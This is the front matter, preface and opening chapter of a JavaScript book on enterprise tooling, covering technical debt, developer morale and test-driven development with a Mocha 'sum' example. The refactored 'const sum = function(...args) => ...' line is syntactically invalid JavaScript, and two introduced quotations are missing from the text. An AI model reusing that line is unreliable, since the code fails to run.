Copyright © 2018 Packt Publishing

All rights reserved. No part of this book may be reproduced, stored in a retrieval system, or transmitted in any form or by any means, without the prior written permission of the publisher, except in the case of brief quotations embedded in critical articles or reviews.

Every effort has been made in the preparation of this book to ensure the accuracy of the information presented. However, the information contained in this book is sold without warranty, either express or implied. Neither the author, nor Packt Publishing or its dealers and distributors, will be held liable for any damages caused or alleged to have been caused directly or indirectly by this book.

Packt Publishing has endeavored to provide trademark information about all of the companies and products mentioned in this book by the appropriate use of capitals. However, Packt Publishing cannot guarantee the accuracy of this information.

Commissioning Editor: Kunal Chaudhari
Acquisition Editor: Karan Gupta
Content Development Editor: Flavian Vaz
Technical Editor: Diksha Wakode
Copy Editor: Safis Editing
Project Coordinator: Sheejal Shah
Proofreader: Safis Editing
Indexer: Aishwarya Gangawane
Graphics: Jason Monteiro
Production Coordinator: Shraddha Falebhai

First published: September 2018

Production reference: 1290918

Published by Packt Publishing Ltd.
Livery Place
35 Livery Street
Birmingham
B3 2PB, UK.

ISBN 978-1-78847-732-1

www.packtpub.com

 

Mapt is an online digital library that gives you full access to over 5,000 books and videos, as well as industry leading tools to help you plan your personal development and advance your career. For more information, please visit our website.

• Spend less time learning and more time coding with practical eBooks and Videos from over 4,000 industry professionals

• Improve your learning with Skill Plans built especially for you

• Get a free eBook or video every month

• Mapt is fully searchable

• Copy and paste, print, and bookmark content

Did you know that Packt offers eBook versions of every book published, with PDF and ePub files available? You can upgrade to the eBook version at www.packt.com and as a print book customer, you are entitled to a discount on the eBook copy. Get in touch with us at customercare@packtpub.com for more details.

At www.PacktPub.com, you can also read a collection of free technical articles, sign up for a range of free newsletters, and receive exclusive discounts and offers on Packt books and eBooks. 

Daniel Li is a full-stack JavaScript developer at Nexmo. Previously, he was also the Managing Director of Brew, a digital agency in Hong Kong that specializes in MeteorJS.

A proponent of knowledge-sharing and open source, Daniel has written over 100 blog posts and in-depth tutorials, helping hundreds of thousands of readers navigate the world of JavaScript and the web.

Federico Kereki is a Uruguayan systems engineer with a master's degree in education, and over 30 years' experience as a consultant, developer, professor, and writer.

He is a subject matter expert at Globant, and he has taught at Universidad de la República, Universidad ORT, and Universidad de la Empresa. He has written several articles for magazines and websites, a pair of booklets on computer security, and two books, Essential GWT and Mastering JavaScript Functional Programming.

He's currently writing a new book on JavaScript development for Packt Publishing.

If you're interested in becoming an author for Packt, please visit authors.packtpub.com and apply today. We have worked with thousands of developers and tech professionals, just like you, to help them share their insight with the global tech community. You can make a general application, apply for a specific hot topic that we are recruiting an author for, or submit your own idea.

JavaScript Fatigue was a trendy term back in 2016, a time when new libraries and frameworks emerged on a daily basis. This promoted diversity, but also crippled developers with too many options. Even today, developers are expected to have experience working with build tools, linters, testing frameworks, assertion libraries, package managers, module loaders, module bundlers, routers, web servers, compilers, transpilers, static typecheckers, virtual DOM libraries, state management tools, CSS preprocessors and UI Frameworks (I've probably missed a few).

No wonder people find it difficult to get started, or even keep up, with JavaScript. Many have spent days learning a dozen different tools just to set up their project. And that's before they write a single line of code! 

Nonetheless, this boom in diversity does bring tangible benefits—it pulls us away from opinionated frameworks and allows us to tailor our application as a composite of many smaller modules. Therefore, instead of bemoaning the state of the ecosystem, we should spend the time to learn each tool.

If that sounds like a tortuous undertaking, then this book will save you a lot of time.

Whilst most programming books today examine a single framework, library, or language in great detail, this book provides you with a solid foundation on a wide range of tools and practices commonly used in enterprise environments. Each of them contributes to building a reliable, production-ready application. In other words, we focus on breadth over depth.

We also value structure over chaos; as such, there's a heavy emphasis on establishing best practices, following processes, testing, infrastructure, and automation. If these words whet your appetite, then this book is perfect for you.

Traditionally, most tech companies followed a horizontal structure, where development, testing, and operations are separated into different departments. Since they are interdependent, every team can only work at the pace of the slowest team.

In recent years, however, we have seen a shift towards vertical teams. Vertical teams are formed based on project requirements, where each team is responsible for all stages of the process—from gathering requirements to deployment. This allows teams to take full ownership of the entire feature, as they become self-reliant and can move at their own pace. Consequently, many companies require their developers to command a broad skillset.

Therefore, this book is not just written for JavaScript developers who are eager to learn new tools, but for all developers who wish to stay relevant in today's job market.

Unlike online blogs and websites, physical books have a page limit. Consequently, we had to be rigorous in our choice of tools to include. In the end, we hand-selected tools and frameworks based on two criteria:

• It must be commonly encountered in an enterprise environment.
• It must have a high likelihood of remaining relevant for a long time (no hype-driven development!).

This narrowed down the list to these tools—Git, npm, yarn, Babel, ESLint, Cucumber, Mocha, Istanbul/NYC, Selenium, OpenAPI/Swagger, Express, Elasticsearch, React, Redux, Webpack, Travis, Jenkins, NGINX, Linux, PM2, Docker, and Kubernetes. We will utilize these tools to build a simple, but robust, user directory application that consists of a backend API and a frontend web user interface (UI).

This book is divided into five sections:

• Chapters 1 to 3 – Overview of theories and practices that provide the context for the rest of the book
• Chapters 4 to 13 – Developing a backend API
• Chapters 14 to 16 – Developing a frontend web application that links up with the API
• Chapters 17 to 18 – Deploying our services on a scalable infrastructure using Docker and Kubernetes
• Chapters 19 to 20 – Explaining important JavaScript concepts and syntax

Chapter 1, The Importance of Good Code, explains the negative consequences of technical debt, and how implementing test-driven development (TDD) can mitigate this effect.

Chapter 2, The State of JavaScript, provides an abridged account of the evolution of the web application, from following a client-server model to single-page applications (SPAs), and the role JavaScript and Node.js play in that transition.

Chapter 3, Managing Version History with Git, introduces you to the concept of version control (VC). Specifically, we will learn how to work with Git, Git Flow, and GitHub.

Chapter 4, Setting Up Development Tools, explains the different module formats in JavaScript, including CommonJS and ES6 modules. We'll also be setting up our local environment with tools such as nvm, yarn, Babel, nodemon, and ESLint.

Chapter 5, Writing End-to-End Tests, helps you practice TDD by teaching you how to write end-to-end (E2E) tests using Cucumber and Gherkin. We'll also migrate our API to Express as part of the refactoring step.

Chapter 6, Storing Data in Elasticsearch, continues our TDD journey as we persist our application data onto Elasticsearch, a NoSQL document store and search engine. Toward the end of the chapter, we'll also write some Bash scripts to streamline our testing process.

Chapter 7, Modularizing Our Code, will break our application down into smaller modules. We will also integrate JSON Schema and Ajv in our implementation of the validation module.

Chapter 8, Writing Unit/Integration Tests, will teach you how to use Mocha to write unit and integration tests. In order to isolate our unit tests from external dependencies, we will refactor our code to follow a Dependency Injection (DI) pattern, and use Sinon's spies and stubs to mock those dependencies. Lastly, we will use Istanbul/nyc to provide test coverage reports, which will help us identify errors and improve the quality of our code.

Chapter 9, Designing Our API, begins with a discussion of representational state transfer (REST)—what it is, and what it is not. Then, we will examine different types of consistency – Common, Local, Transversal, Domain, and Perennial – and see how they contribute to providing an intuitive developer experience.

Chapter 10, Deploying Your Application on a VPS, provides step-by-step instructions on how to deploy our API on a Virtual Private Server (VPS). You'll learn how to buy a domain, configure Domain Name System (DNS) records, set up NGINX as a reverse proxy, and keep your Node.js process alive with PM2.

Chapter 11, Continuous Integration, implements a Continuous Integration (CI) pipeline into our development process. We begin by using a hosted platform called Travis, before deploying our own self-hosted Jenkins CI server.

Chapter 12, Security: Authentication and Authorization, introduces you to concepts underpinning authorization and password-, session-, and token-based authentication. These include cryptographic hashing, salts, and JSON Web Tokens (JWTs).

Chapter 13, Documenting Our API, completes the development of our API by documenting it using Swagger. You will learn how to write OpenAPI-compliant specifications in YAML, and visualize them using Swagger UI.

Chapter 14, Creating UI with React, teaches you React from first principles, discussing concepts such as virtual DOM, pure components, and JSX. At the end of the chapter, we'll also compare different module bundlers and loaders, such as Webpack, Rollup, and SystemJS.

Chapter 15, E2E Testing in React, uses the React knowledge you've gained in the previous chapter to implement a TDD workflow involving Cucumber and Selenium and using headless browsers. We will follow this process as we implement client-side routing into our application.

Chapter 16, Managing States with Redux, explains how to use Redux to keep the state of your application consistent.

Chapter 17, Migrating to Docker, migrates our application to run inside Docker containers. Initially, you'll learn about control groups and namespaces and how they enable containers to work. Then you'll write your own Dockerfiles and build and optimize your Docker images.

Chapter 18, Robust Infrastructure with Kubernetes, deploys our application into a cluster using Kubernetes, a cluster management tool that combines discovery services, global configuration stores, schedulers, and load balancers. This ensures that our application is highly-available, reliable, scalable, and performant.

Chapter 19, Important Concepts in JavaScript, provides a comprehensive primer on the most fundamental (and most overlooked) principles of JavaScript, including data types, prototypes, the prototype inheritance chain, ES6 classes, this, context, and the execution context.

https://www.packtpub.com/sites/default/files/downloads/ImportantConceptsinJavaScript.pdf

Chapter 20, Writing in ECMAScript 2015+, guides you through the newer features of JavaScript, such as let/const, defaults, destructuring assignment, rest and spread operators, template literals, and promises.

https://www.packtpub.com/sites/default/files/downloads/WritinginECMAScript2015.pdf

As you may appreciate, by covering all these tools in a single book, it's impossible to examine any of them in great detail. Thus, we've selected the most fundamental concepts to cover, leaving the finer details to more advanced books.

There were also topics that we wanted to include but simply did not have the page count to do so. Notably, these important concepts are not covered:

• Static type checking with TypeScript or Flow
• Configuration management with Puppet/Ansible
• Monitoring and visualizing metrics using Prometheus and Grafana
• Distributed logging using Logstash/Kafka
• Tracing using Zipkin
• Stress/load testing using Artillery
• Backups and disaster recovery

We've structured this book so that each chapter builds on the previous one. As such, this book is meant to be read in a sequential manner.

This book focuses on the tools and frameworks in the JavaScript ecosystem, not on the JavaScript language itself. Therefore, I'd expect readers of this book to have a basic understanding of the JavaScript syntax.

Before we introduce each tool, we'll try to answer the following questions:

• What problems is it trying to solve?
• How does it work under the hood?
• Why did we pick this tool over its alternatives?

You should consider this book as a learning exercise, rather than a reference manual. We want you to understand why a tool is needed, and not just copy-and-paste sample code into your terminal or editor. Ergo, there will be instances where we implement a feature in a sub-optimal way, only to improve it at a later date.

We also expect you to get hands-on and write a lot of the code yourself. In many parts of the book, we will teach you the required concepts, guide you through a few examples, and leave you to implement the rest. We strongly encourage you to use this opportunity to practice what you've learned; however, if you ever get stuck, or are eager to move on to the next chapter, you can always refer to the code bundle that comes with the book.

Due to the fast-changing nature of the ecosystem, many tools will inevitably introduce breaking changes after the publication of this book. As a result, some of the instructions may not work as described. In those cases, you should read the release notes or migration guide published by the tool's author; alternatively, you may search for help on the internet and Q&A sites. On our end, we will try to maintain up-to-date package versions and instructions in our code bundle, which is hosted on GitHub.

The instructions in this book are intended to run on a machine running GNU/Linux, specifically Ubuntu 18.04. Readers using other operating systems should still be able to follow along but may require more effort in setting up and debugging. Readers using Windows machines should set up their computers to dual boot Ubuntu and Windows; you can find detailed instructions at help.ubuntu.com/community/WindowsDualBoot. Alternatively, if you're using Windows 10, you can install Windows Subsystem for Linux (WSL), which allows you to natively run command-line tools and applications you'd normally expect to see in GNU/Linux. You can find detailed instructions at docs.microsoft.com/en-us/windows/wsl/.

Finally, this book is the culmination of a 16-month journey. I have learned a lot along the way, and have also gained a few gray hairs. I hope you enjoy reading this book as much as I've enjoyed writing it!

You can download the example code files for this book from your account at www.packtpub.com. If you purchased this book elsewhere, you can visit www.packtpub.com/support and register to have the files emailed directly to you.

You can download the code files by following these steps:

1. Log in or register at www.packt.com.
2. Select the SUPPORT tab.
3. Click on Code Downloads & Errata.
4. Enter the name of the book in the Search box and follow the on screen instructions.

Once the file is downloaded, please make sure that you unzip or extract the folder using the latest version of:

• WinRAR/7-Zip for Windows
• Zipeg/iZip/UnRarX for Mac
• 7-Zip/PeaZip for Linux

The code bundle for the book is also hosted on GitHub at https://github.com/PacktPublishing/Building-Enterprise-JavaScript-Applications. In case there's an update to the code, it will be updated on the existing GitHub repository.

We also have other code bundles from our rich catalog of books and videos available at https://github.com/PacktPublishing/. Check them out!

There are a number of text conventions used throughout this book.

CodeInText: Indicates code words in text, database table names, folder names, filenames, file extensions, pathnames, dummy URLs, user input, and Twitter handles. Here is an example: "Mount the downloaded WebStorm-10*.dmg disk image file as another disk in your system."

A block of code is set as follows:

{
  "files": ["*.test.js"],
  "env": {
      "mocha": true
  },
  "rules": {
      "func-names": "off",
      "prefer-arrow-callback": "off"
  }
}

Any command-line input or output is written as follows:

$ npx mocha
$ npx mocha "src/**/*.test.js"

Bold or Italics: Indicates a new term, an important word, or words that you see onscreen. For example, words in menus or dialog boxes appear in the text like this. Here is an example: "Select System info from the Administration panel."

Feedback from our readers is always welcome.

GGeneral feedback: If you have questions about any aspect of this book, mention the book title in the subject of your message and email us at customercare@packtpub.com.

Errata: Although we have taken every care to ensure the accuracy of our content, mistakes do happen. If you have found a mistake in this book, we would be grateful if you would report this to us. Please visit www.packt.com/submit-errata, selecting your book, clicking on the Errata Submission Form link, and entering the details.

Piracy: If you come across any illegal copies of our works in any form on the Internet, we would be grateful if you would provide us with the location address or website name. Please contact us at copyright@packtpub.com with a link to the material.

If you are interested in becoming an author: If there is a topic that you have expertise in and you are interested in either writing or contributing to a book, please visit authors.packtpub.com.

Please leave a review. Once you have read and used this book, why not leave a review on the site that you purchased it from? Potential readers can then see and use your unbiased opinion to make purchase decisions, we at Packt can understand what you think about our products, and our authors can see your feedback on their book. Thank you!

For more information about Packt, please visit packt.com.

One thing that separates a good company from a great company is their processes. In a great company, everyone understands what is expected of them, what they can expect from others, the vision of the company, and the philosophy of the workplace. With that foundation, the staff has the freedom to be creative and innovate, working within the processes and boundaries set by the company.

When there are no processes, there is chaos. Developers wouldn't know what to expect— are the requirements and specifications documented? Where can I find them? They also wouldn't understand what's expected of them—do I need to write tests or is this a Proof of Concept (PoC)? What edge cases should I test for? Without processes, managers and developers will waste time chasing requirements and clarifications, giving them less time to be creative and innovative, and thus excel at their jobs.

Ultimately, a chaotic environment leads to a product that's lower in quality. On the technical side, there'll be more technical debt—bugs and inefficiencies that need to be fixed later. The product team will suffer too, as fewer features would be delivered.

For these companies, the best way to improve is simply to start implementing robust processes on the technical level by implementing Test-Driven Development (TDD), and on the management level by adopting Agile principles and/or implementing the Scrum framework. In this chapter, we will focus on the technical aspect—implementing TDD. Specifically, we will cover the following:

• What is technical debt?
• What are the causes and consequences of technical debt?
• Reducing technical debt by implementing TDD

One of the most popular questions on the Software Engineering Stack Exchange (https://softwareengineering.stackexchange.com/) website is this:

Whilst this should never be regarded as normal, for many developers, it is their reality. So, why do so many projects end up in an unmaintainable state? After all, every project starts off with a blank slate.

Some may say that it's because most programmers are inherently lazy, but most also take pride in their work, and value quality over speed. Others may say it's because the developers are incompetent, but even companies that employ very talented technical teams fall victim to this.

My theory is that during the lengthy development process, it's too easy to make little concessions along the way, where code quality is sacrificed to save other resources, usually time. For instance, you may stop writing tests to meet a deadline, or forgo refactoring because your manager assures you that the project is just a PoC or Minimum Viable Product (MVP). Little by little, these small concessions build up. Oftentimes, the deadlines become ever more unreasonable, and the MVP becomes the company's flagship product. That's how we end up with so many unmaintainable projects in this world.

These compromises, although small at the time, have a knock-on effect on the code that is written afterward. This cumulative effect is described using the metaphor of technical debt, which plays on the analogy of financial debt, where you incur compound interest on your existing debts.

Technical debt is a metaphor created by Ward Cunningham, an American computer programmer:

For example, if you want to start your own business, but do not have enough personal savings, you may opt to take out a loan with a bank. In this case, you incur a small debt now in order to acquire a potentially larger reward later, when your business generates a profit.

Likewise, you may decide to incur some technical debt in order to capture the First-Mover Advantage (FMA) to ship a feature before your competitors go to market. The debt comes in the form of poorly-written code; for instance, you may write everything into a single file (colloquially called a kitchen sink) with no modularization or tests.

In both cases, the debt is incurred with the expectation that it will be repaid, with interest, at a later date.

For development, repayment comes in the form of refactoring. This is where time is re-invested to revise the poorly-written code back to an acceptable standard. As this requires time and manpower, by incurring the technical debt, you are, in essence, trading a moderate increase in development speed now for a significant decrease later.

The problem arises when the debt is not repaid sufficiently quickly. At some point, the amount of maintenance done on the project is so great that no more features can be added, and the business may opt for a complete rewrite instead.

Before we discuss how to tackle technical debt, let's first examine some of its most common causes:

• Lack of talent: Inexperienced developers may not follow best practices and write unclean code.
• Lack of time: Setting unreasonable deadlines, or adding new features without allotting additional time, means developers do not have enough time to follow proper processes of writing tests, conducting code reviews, and so on.
• Lack of morale: We should not overlook the human aspect of development. If requirements change all the time, or developers are required to work overtime, then they're not likely to produce good work.

All of these causes can easily be mitigated. The problem of inexperienced developers can be tackled through mentoring, code reviews, and general training. The problem of morale can be tempered by providing better working environments. The issue of lack of time can be remedied by reducing the scope of the project to something more achievable; this may mean pushing non-essential features to a subsequent phase. Besides this, the business can employ more staff and/or outsource the development of well-defined modules to external contractors.

The real problem lies in the reluctance to tackle technical debt, since the biggest cause of technical debt is the existing technical debt. Any new code that depends on the bad code will very soon become part of the technical debt and incur further debt down the line.

When you talk with product managers or business owners, most of them understand the concept of technical debt; however, most managers or business owners I've encountered also tend to overestimate the short-term returns and underestimate the long-term consequences. They believe that technical debt works like personal loans issued by banks, with an interest rate of around 3% Annual Percentage Rate (APR); in reality, it works more like payday loans that charge you 1500% APR.

In fact, the debt metaphor isn't completely accurate. This is because, unlike a formalized loan, when you incur technical debt, you don't actually know the interest rate or repayment period beforehand.

The debt may require one week of refactoring time that you can delay indefinitely, or it may cost you a few months' time just a few days down the line. It is very hard to predict and quantify the effect of technical debt.

Furthermore, there's no guarantee that by incurring the debt, the current set of features are actually going to be finished earlier. Often, the consequences of technical debt are close to immediate; therefore, by rushing, it may actually slow you down within the same development cycle. It is very hard to predict and quantify the short-term benefits of incurring technical debt. In that sense, incurring technical debt resembles more of a gamble than a loan.

Next, let's examine the consequences of technical debt. Some are obvious:

• Development speed will slow down
• More manpower (and thus money) and time will need to be spent to implement the same set of features
• More bugs, which consequently means poorer user experience, and more personnel required for customer service

On the other hand, the human cost of technical debt is often overlooked; so let's spend some time discussing it here.

Most developers want to work on greenfield projects where they can develop new features, rather than to inherit legacy brownfield projects riddled with bugs and technical debt. This will likely reduce the morale of the developers.

In some cases, those working on brownfield projects may even show animosity toward their colleagues who work on greenfield projects. This is because newer frameworks, libraries, and paradigms will eventually replace older ones, making them obsolete. Those working on legacy projects know that the skills they develop will be worthless in a few years' time, making them less competitive on the job market. In comparison, their colleagues are gaining valuable experience on more modern frameworks that will increase their market value. I can't imagine a developer being happy knowing their skills are becoming less and less relevant.

Furthermore, having technical debt would likely ignite disagreement between developers and their managers about the best time to repay the debt. Typically, developers demand immediate repayment, while the (inexperienced) managers would try to push it further down the line.

Overall, having technical debt in the project tends to lower the morale of its developers.

In turn, low morale leads to the following:

• Lower productivity: Unmotivated developers are more likely to work slower, take longer breaks, and be less engaged in the business.
• Lower code quality: Development is a creative process—there is more than one way to implement a feature. Developers with low morale are unlikely to conjure up the willingness to figure out the best approach—they'll simply select for the approach that requires the least effort.
• High Turnover: Unhappy developers are going to be looking for better jobs, leading to a high turnover of staff for the company. This means the time invested to train the developer and integrate him/her into the team is wasted. Furthermore, it may cause other members of staff to lose confidence in the company, creating a snowball effect of people leaving.

Some managers may argue that the business is not responsible for the happiness of its developers—they pay them to produce work and value, not to be happy. Whilst this is true, an experienced project manager should remember that a development team is not a machine—it consists of people, each with their individual ambitions and emotions. Thus, the manager would be wise to consider the human costs of technical debt when making a business decision.

Despite its negative repercussions, incurring technical debt is often inevitable. In those cases, you must ensure that the decision is an informed and conscious one, and remember to repay the debt as soon as possible. So how do we actually pay back the debt? We do this through refactoring—or making our code cleaner without changing the existing behavior.

Whilst there are no formal definitions on what clean means, here are some signs of clean code:

• Well-structured: Code should consist of modules, separated by domains
• Well-documented: For example, include unit tests, inline comments, automatically generated documentation, and README files
• Succinct: Be concise, but not to the point of obfuscation
• Well-formatted and readable: Other developers must be able to review and work on the same code base, so it should be easy to understand and not deviate too far from well-established conventions

As you gain more experience, you'll be able to detect code that deviates from these signs. In programming, we call these deviations code smells. Code smells are weaknesses within the code that violate well-established design principles, paradigms, and patterns. While they are not bugs themselves, they may slow down development and make the code base more prone to errors later.

Therefore, refactoring is simply a process that moves the current code base from having a lot of code smells to one that is cleaner. As we have mentioned before, there is more than one way to achieve the same results, and developers need to be creative and figure out the best solutions to problems that arise.

The important point here is that developers should be given time to refactor; in other words, refactoring should be the core part of a development process, and be included in the time estimates that the developers provide.

Prevention is better than cure. Instead of incurring technical debt, how about avoiding it in the first place? Here, we outline some easy tactics that you can adopt to prevent technical debt.

Most decision makers, especially those without a technical background, greatly underestimate the effects of technical debt. Furthermore, in their view, developers do not understand the business costs of repaying technical debt in terms of manpower, salaries, and time.

That's why it is important for a professional developer to understand the situation from the decision maker's perspective and the constraints that they must work within. One of the most relevant models is the triple constraint model.

The classic project management triangle (also known as triple constraint or the iron triangle) coined the popular saying Time, Quality, Cost. Pick two. The triangle is shown as follows:

The triple constraint is a model used in project management to visualize the constraints on any projects, and to consider how optimizing the project for one area would cause another area to suffer:

• Time and Quality: You can design and build a high-quality platform in a short time, but you'll need to hire a lot of experienced developers, which will be expensive.
• Time and Cost: You can build a platform quickly with a few inexperienced developers, but the quality will be low.
• Quality and Cost: You can tell a few inexperienced developers to design and plan a platform properly. It'll be of good quality, but it's going to take a long time because they'll need time to learn the principles and apply them.

Most businesses are limited largely by their time and cost: by time, because for each day the product is not launched, the greater the chance their competitor delivers a similar product and captures the first-mover advantage (FMA); by cost, because the company still has to pay their staff salaries while the product is not generating any revenue.

To exacerbate the problem, many managers and business owners are focused more on tangible, immediate results, rather than long-term rewards. For these reasons, when given the choice, most decision-makers pick time and cost over quality.

The fallacy here is that by neglecting quality and incurring debt, they'll eventually be increasing both the time and cost requirements many times over.

Therefore, it is the duty of the developer to inform the product manager and business owner of the unpredictable effects of incurring technical debt to give them all of the advice they need to make an informed decision. You may want to turn the tables and approach it from a positive perspective—cleaning up technical debt would allow future development of new features to be completed more quickly.

Do this to prevent the worst-case scenario where the effort required to fix the code is greater than rewriting everything from scratch.

If the code base is so bad that it's close to FUBAR (a variation on the military slang that stands for 'Fucked Up Beyond Any Repair'), then a more drastic approach may be to refuse further development until refactoring is done. This may seem extreme, given that the people you're disobeying are paying your salary. While this is an easy way to forgo responsibility, it's not what a professional developer should do.

To paraphrase an analogy from The Clean Code by Robert C. Martin: Let's suppose you are a doctor and a patient asks you to perform open heart surgery on him/her in order to relieve a sore throat, what would you do? Of course, you'd refuse! Patients do not know what are best for them, that's why they must rely on your professional opinion.

Likewise, most business owners do not know what is best for them technically, which is why they hired you to make the best possible technical decisions for their business. They pay you not simply to code; they pay you because they want you to bring value to the business. As a professional, you should think about whether your actions are beneficial or detrimental to the business, in both the short and long term.

Business owners also need to trust the advice of their developers. If they do not respect their professional opinion, they shouldn't hire them in the first place.

However, it's not always the business owner's fault for making unreasonable demands; the developer who commits to those demands is equally at fault.

Remember, it is the business owner's, or your manager's, role to get as much out of you as possible. But more importantly, it is your duty to inform them of what is and isn't possible; so, when asked to complete features under a deadline that you cannot meet without sacrificing on quality, do not accept the deadline.

You may think the business would appreciate you for going the extra mile and making the impossible possible, but there are four problems with this line of thinking:

1. You may not actually complete the feature in time, while the business has planned a strategy that depends on that deadline being met.
2. You've demonstrated to the manager that you're willing to accept these deadlines, so they may set even tighter deadlines next time, even if they don't need to.
3. Rushing through code will likely incur technical debt.
4. Your fellow developers may resent you, since they may have to work overtime in order to keep up with your pace; otherwise, their manager may view them as slow. It also means they'll have to develop on top of your rushed code, making everyday work less enjoyable.

There's a time to stick your head out to save a business, but by doing it too often, you are actually hurting the team. The danger is that neither you nor the business owner will realize this; in fact, you may even naïvely celebrate the rapid progress being made.

The solution here is to manage your business owner's expectations. If you believe there's a 50% chance of meeting an optimistic deadline, then ask for the scope to be reduced further until you can be more confident in your estimate. Speaking from experience, business owners would rather hear it's not possible a month in advance than a promise of everything will be done that was not delivered.

This brings me back to the topic of defining and documenting processes. Good code starts with good planning, design, and management, and is maintained by good processes. Many of the problems outlined previously can be mitigated if there are clear guidelines outlining the following issues:

• Situations where incurring technical debt is appropriate, for example, to meet a legal requirement such as GDPR compliance.
• Occasions when developers can expect to receive time to repay these debts, for example, before the next feature is started, or two weeks at the end of each quarter.
• The distribution of work on greenfield/brownfield projects within the team, for example, with a rotation system.
• The Definition of Done – a list of criteria which must be met before a feature is considered "done", for example, code passes all tests and is peer-reviewed, and documentation is updated.

Software development paradigms such as Agile and Waterfall, as well as their implementations such as Scrum and Kanban, provide different ways to define and enforce these processes. For example, in Scrum, development happens in short iterations (typically one and four weeks) called sprints. At the beginning of each sprint, a meeting is held to review pending tasks and select features to be tackled in this sprint. At the end of each sprint, a retrospective meeting is held to review the progress of the sprint and identify lessons that can be learned and applied to subsequent sprints.

Although these paradigms and methodologies are popular in software development, they are not coupled to any technical processes at all. Instead, they deal with the entire development process, including gathering requirements and specifications, communicating with the client, design, development, and deployment.

Therefore, of more relevance to developers are development techniques, which specify how a developer should develop a feature. The most prominent technique is TDD.

Test-Driven Development is a development practice created by Kent Beck, it requires the developer to write tests for a feature before that feature is implemented. This provides some immediate benefits:

• It allows you to validate that your code works as intended.
• It avoids errors in your test suite, if you write your test first, then run it, and it does not fail, that's a prompt for you to check your test again. It might just be that you have inadvertently implemented this feature by chance, but it could also be an error in your test code.
• Since existing features would be covered by existing tests, it allows a test runner to notify you when a previously functional piece of code is broken by the new code (in other words, to detecting regressions). This is especially important for developers when they inherit old code bases they are not familiar with.

So, let's examine the principles of TDD, outline its process, and see how we can incorporate it into our workflow.

TDD consists of a rapid repetition of the following steps:

1. Identify the smallest functional unit of your feature that has not yet been implemented.
2. Identify a test case and write a test for it. You may want to have test cases that cover the happy path, which is the default scenario that produces no errors or exceptions, as well as unhappy paths, including dealing with edge cases.
3. Run the test and see it fail.
4. Write the minimum amount of code to make it pass.
5. Refactor the code.

For example, if we want to build a math utility library, then our first iteration of the TDD cycle may look like this:

1. Pick a feature: For this example, let's pick the sum function, which simply adds numbers together.
2. Define a test case: When running the sum function with 15 and 19 as the arguments, it should return 34:

var assert = require('assert');
var sum = require('sum');
describe('sum', function() {
 it('should return 34 when 15 and 19 are passed in', function() {
   assert.equal(34, sum(15, 19));
 });
});

3. Run the test: It fails because we haven't written the sum function yet.

4. Write the code: Write the sum function that will allow us to pass the test:

const sum = function(x, y) {
  return x + y;
}

5. Refactor: No refactoring needed.

This completes one cycle of the TDD process. In the next cycle, we will work on the same function, but define additional test cases:

1. Pick a feature: we'll continue developing the same sum function. 
2. Define a test case: this time, we will test it by supplying three arguments, 56, 32 and 17, we expect to receive the result 105:

describe('sum', function() {
 ...
 it('should return 105 when 56, 32 and 17 are passed in', function() {
   assert.equal(105, sum(56, 32, 17));
 });
});

3. Run the test: it fails because our current sum function only takes into account the first two parameters. 

4. Write the code: update the sum function to take into account the first three parameters:

const sum = function(x, y, z) {
  return x + y + z;
}

5. Refactor: improve the function by making it work for any number of function parameters:

const sum = function(...args) => [...args].reduce((x, y) => x + y, 0);

Note that calling with just two arguments would still work, and so the original behavior is not altered.

Once a sufficient number of test cases have been completed, we can then move on to the next function, such as multiply.

By following TDD, the number of bugs should reduce drastically; however, no process can guarantee error-free code. There will always be edge cases that were overlooked. Previously, we outlined the TDD process for implementing a new feature; now, let's look at how can we can apply the same process to fixing bugs.

In TDD, when a bug is encountered, it is treated the same way as a new feature—you'd first write a (failing) test to reproduce the bug, and then update the code until the test passes. Having the bug documented as a test case ensures the bug stays fixed in the future, preventing regression.

When you first learn to code, no one ever starts with writing tests. This means that for many developers, having tests in the code is an afterthought—a luxury if time permits. But what they don't realize is that everyone tests their code, consciously or otherwise.

After you've written a function, how do you know it works? You may open the browser console and run the function with some dummy test parameters, and if the output matches your expectations, then you may assume it's working. But what you're doing here is actually manually testing a function that has already been implemented.

The advantage of manual testing is that it requires no upfront costs—you just run the function and see if it works. However, the downside is that it cannot be automated, eating up more time in the long run.

Instead, you should formally define these manual tests as code, in the form of unit, integration and end-to-end (E2E) tests, among others.

Formally defining tests has a higher initial cost, but the benefit is that the tests can now be automated. As we will cover in Chapter 5, Writing End-to-End Tests, once a test is defined as code, we can use npm scripts to run it automatically every time the code changes, making the cost to run the tests in the future virtually zero.

The truth is that you'll need to test your code anyways; it's just a choice of whether you invest time to automate it now, saving time in the future, or save the time now but waste more time repeating each test manually in the future.

Mike Cohn developed the concept of the Testing Pyramid, which shows that an application should have a lot of unit tests (as they are fast and cheap to run), fewer integration tests, and even fewer UI tests, which take the most amount of time and are the most expensive to define and run. Needless to say, manual testing should only be done after unit, integration, and UI tests have been thoroughly defined:

Whilst avoiding manual testing is a benefit of TDD, it certainly is not the only one. A developer can still write their unit, integration and E2E tests after implementation of the feature. So what are the benefits of writing tests before implementation?

The answer is that it forces you to think about your requirements and break them down into atomic units. You can then write each test case around a specific requirement. The end result is that the test cases form the specification for your feature. Writing tests first helps you structure your code around the requirements, rather than retrofitting requirements around your code.

This also helps you to abide by the You Aren't Gonna Need It (YAGNI) principle, which prevents you from implementing features that aren't actually needed.

Lastly, writing the tests (and thus the specifications) forces you to think about the interface that consumers of your function would have to use to interact with your function—should everything be defined as properties inside a generic options object, or should it be a plain list of arguments?

// Using a generic options object
User.search(options) {
  return db.users.find(options.name, {
    limit: options.limit,
    skip: options.skip
  })
}

// A list of arguments
User.search(name, limit, skip) {
  return db.users.find(name, {limit, skip});
}

When developers want to use a tool or library, they learn by reading the documentation or guides that contain code samples they can try, or by following tutorials to build a basic application.

Test cases can essentially act as code samples and form part of the documentation. In fact, tests are the most comprehensive set of code samples there are, covering every use case that the application cares about.

Because TDD focuses on a single functional block at a time, its development cycles are usually very short (minutes to hours). This means small, incremental changes can be made and released rapidly.

When TDD is implemented within the framework of a software development methodology such as Scrum, small development cycles allow the methodology practitioner to capture fine-grained metrics on the progress of the team.

While TDD is the gold standard amongst development techniques, there are many obstacles preventing its implementation:

• Inexperienced team: TDD only works when the whole development team adopts it. Many junior developers, especially self-taught developers, never learned to write tests.
  The good news is that TDD is not hard; given a day or so, a developer can realistically learn about the different types of tests, including how to spy on functions and mock data. It's wise to invest time training a developer so that he/she can write more reliable code for the entire duration of his/her employment.
